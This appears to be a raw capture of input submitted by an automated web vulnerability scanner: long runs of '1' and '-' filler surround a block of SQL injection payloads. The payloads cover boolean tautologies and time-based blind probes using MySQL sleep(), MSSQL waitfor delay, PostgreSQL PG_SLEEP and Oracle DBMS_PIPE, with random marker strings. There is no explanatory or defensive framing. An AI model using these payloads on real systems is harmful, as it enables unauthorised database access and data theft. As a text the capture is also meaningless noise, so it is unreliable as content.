-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1Rf9fjcT0
-
1
-
1
-
-1 OR 2+585-585-1=0+0+0+1 --
-
-1 OR 2+915-915-1=0+0+0+1
-
1
-
-1' OR 2+902-902-1=0+0+0+1 --
-
-1' OR 2+89-89-1=0+0+0+1 or 'f7lWdaym'='
-
-1" OR 2+76-76-1=0+0+0+1 --
-
11pfWTmsi
-
1*if(now()=sysdate(),sleep(15),0)
-
1
-
-1 OR 2+609-609-1=0+0+0+1 --
-
-1 OR 2+383-383-1=0+0+0+1
-
-1' OR 2+895-895-1=0+0+0+1 --
-
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
-
-1' OR 2+947-947-1=0+0+0+1 or 'dXgambos'='
-
-1" OR 2+131-131-1=0+0+0+1 --
-
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
-
1*if(now()=sysdate(),sleep(15),0)
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
-
1-1; waitfor delay '0:0:15' --
-
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
-
1-1); waitfor delay '0:0:15' --
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
1-1)); waitfor delay '0:0:15' --
-
1-1; waitfor delay '0:0:15' --
-
1-1 waitfor delay '0:0:15' --
-
1-1); waitfor delay '0:0:15' --
-
1eJ3Vza2X'; waitfor delay '0:0:15' --
-
1-1)); waitfor delay '0:0:15' --
-
1CZnNabm5'); waitfor delay '0:0:15' --
-
1-1 waitfor delay '0:0:15' --
-
1osNyIHlq')); waitfor delay '0:0:15' --
-
1L3niEcCu'; waitfor delay '0:0:15' --
-
1-1 OR 630=(SELECT 630 FROM PG_SLEEP(15))--
-
1ooxxLt7U'); waitfor delay '0:0:15' --
-
1-1) OR 519=(SELECT 519 FROM PG_SLEEP(15))--
-
1FoH4hpq1')); waitfor delay '0:0:15' --
-
1-1)) OR 598=(SELECT 598 FROM PG_SLEEP(15))--
-
1-1 OR 595=(SELECT 595 FROM PG_SLEEP(15))--
-
1-1) OR 162=(SELECT 162 FROM PG_SLEEP(15))--
-
1dOpfzaiK') OR 685=(SELECT 685 FROM PG_SLEEP(15))--
-
1-1)) OR 294=(SELECT 294 FROM PG_SLEEP(15))--
-
1a6t37Nfg')) OR 567=(SELECT 567 FROM PG_SLEEP(15))--
-
1nyi1Ma5f' OR 623=(SELECT 623 FROM PG_SLEEP(15))--
-
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
109OjAHHi') OR 612=(SELECT 612 FROM PG_SLEEP(15))--
-
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
1cstJfm6x')) OR 749=(SELECT 749 FROM PG_SLEEP(15))--
-
1
-
1'"
-
1????%2527%2522'"
-
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
1
-
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
1
-
1'"
-
1????%2527%2522'"
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1